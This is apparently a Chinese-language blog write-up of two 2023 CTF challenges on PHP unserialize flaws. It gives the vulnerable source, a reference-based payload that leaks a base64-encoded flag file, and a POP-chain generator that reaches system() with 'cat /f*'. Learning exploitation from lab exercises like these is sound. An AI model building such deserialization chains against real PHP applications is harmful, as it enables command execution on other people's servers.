[FSCTF 2023]ez_php1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;

public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);

?>

Payload

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//$a = "YES I love";
//echo serialize($a);

class Clazz{
public $a;
public $b;

}
$aa=new Clazz();
$aa->b=&$aa->a;
echo serialize($aa);

此处注意11行的$aa->b=&$aa->a;

参考:

但如果不传地址,直接赋值是不行的,我的理解是:

$b 不是引用 $a,而是直接赋值为 $a 的值,那么在对象销毁时,$b 会被销毁。因此,在 __destruct 方法中访问 $this->b 时,可能会引发错误因为 $b 已经不存在。

通过使用引用关系,$a$b 共享相同的内存地址,确保了在 __destruct 方法中能够正确访问到 $a 的内容,因为在销毁对象时,引用关系并没有导致 $b 提前被销毁。这也能解释为什么反序列化函数前面为什么要加一个容错符,因为在__destruct函数里面访问b时,b已经不存在会产生报错信息吧……

[SWPUCTF 2023 秋季新生赛]UnS3rialize

独立解出,艾玛就是爽!!!

  1. 题目

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
     <?php
    highlight_file(__FILE__);
    error_reporting(0);
    class NSS
    {
    public $cmd;
    function __invoke()
    {
    echo "Congratulations!!!You have learned to construct a POP chain<br/>";
    system($this->cmd);
    }
    function __wakeup()
    {
    echo "W4keup!!!<br/>";
    $this->cmd = "echo Welcome to NSSCTF";
    }
    }


    class C
    {
    public $whoami;
    function __get($argv)
    {
    echo "what do you want?";
    $want = $this->whoami;
    return $want();
    }
    }

    class T
    {
    public $sth;
    function __toString()
    {
    echo "Now you know how to use __toString<br/>There is more than one way to trigger";
    return $this->sth->var;
    }
    }

    class F
    {
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
    $this->user = $user;
    $this->passwd = $passwd;
    }
    function __destruct()
    {
    if ($this->user === "SWPU" && $this->passwd === "NSS") {
    echo "Now you know how to use __construct<br/>";
    echo "your notes".$this->notes;
    }else{
    die("N0!");
    }
    }
    }



    if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
    } else {
    echo "Let's do some deserialization :)";
    }
    Now you know how to use __construct
    Now you know how to use __toString
    There is more than one way to triggerwhat do you want?Congratulations!!!You have learned to construct a POP chain
    NSSCTF{95c5f548-c828-4a34-80ea-f8990196e4a0}
  2. 分析(注释掉序列化用不到的方法和需要过滤的方法 别漏东西了!)

    ps:(已经根据答案把类排好序了==)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    <?php
    class F
    {
    public $user = "SWPU";
    public $passwd = "NSS";
    public $notes;

    function __construct($user, $passwd)
    {
    $this->user = $user;
    $this->passwd = $passwd;
    $this->notes = new T();
    }

    // function __destruct()
    // {
    // if ($this->user === "SWPU" && $this->passwd === "NSS") {
    // echo "Now you know how to use __construct<br/>";
    // echo "your notes" . $this->notes;
    // } else {
    // die("N0!");
    // }
    // }
    }

    class T
    {
    public $sth;
    // function __toString()
    // {
    // echo "Now you know how to use __toString<br/>There is more than one way to trigger";
    // return $this->sth->var;
    // }
    }

    class C
    {
    public $whoami;

    // function __get($argv)
    // {
    // echo "what do you want?";
    // $want = $this->whoami;
    // return $want();
    // }
    }

    class NSS
    {
    public $cmd;
    // function __invoke()
    // {
    // echo "Congratulations!!!You have learned to construct a POP chain<br/>";
    // // system($this->cmd);
    // }


    // function __wakeup()
    // {
    // echo "W4keup!!!<br/>";
    // $this->cmd = "echo Welcome to NSSCTF";
    // }

    }
  3. POP链构造

    NSS._ _invoke()<-C. _ _get()<-T.toString()<-F.destruct()

    可知最终需要构造的就是F类!

  4. Payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    <?php
    class F
    {
    public $user = "SWPU";
    public $passwd = "NSS";
    public $notes;

    function __construct($user, $passwd)
    {
    $this->user = $user;
    $this->passwd = $passwd;
    $this->notes = new T();
    }

    // function __destruct()
    // {
    // if ($this->user === "SWPU" && $this->passwd === "NSS") {
    // echo "Now you know how to use __construct<br/>";
    // echo "your notes" . $this->notes;
    // } else {
    // die("N0!");
    // }
    // }
    }

    class T
    {
    public $sth;
    function __construct()
    {
    $this->sth = new C();
    }
    // function __toString()
    // {
    // echo "Now you know how to use __toString<br/>There is more than one way to trigger";
    // return $this->sth->var;
    // }
    }

    class C
    {
    public $whoami;
    function __construct()
    {
    $this->whoami=new NSS();
    }

    // function __get($argv)
    // {
    // echo "what do you want?";
    // $want = $this->whoami;
    // return $want();
    // }
    }

    class NSS
    {
    public $cmd;
    function __construct()
    {
    $this->cmd='cat /f*';
    }
    // function __invoke()
    // {
    // echo "Congratulations!!!You have learned to construct a POP chain<br/>";
    // // system($this->cmd);
    // }


    // function __wakeup()
    // {
    // echo "W4keup!!!<br/>";
    // $this->cmd = "echo Welcome to NSSCTF";
    // }

    }
    $a=new F("SWPU","NSS");//base64_encode
    echo (serialize($a));//先输出看看是个什么,因为要绕过wake up,先不急着编码,还要改个属性个数

  5. 思考

    • 看到很多题解是这样写的

      1
      2
      3
      4
      5
      $a = new F();
      $a->notes = new T();
      $a->notes->sth = new C();
      $a->notes->sth->whoami = new NSS();
      $a->notes->sth->whoami->cmd = 'cat /f*';
    • 我个人感觉并不是很好,我喜欢自己手动在类中添加construct魔术方法根据POP链一直传下去!

      简洁易懂,当然反序列化出来是一模一样的

ok!基础的php反序列化已经搞定啦!

  • 字符串逃逸 phar反序列化 原生类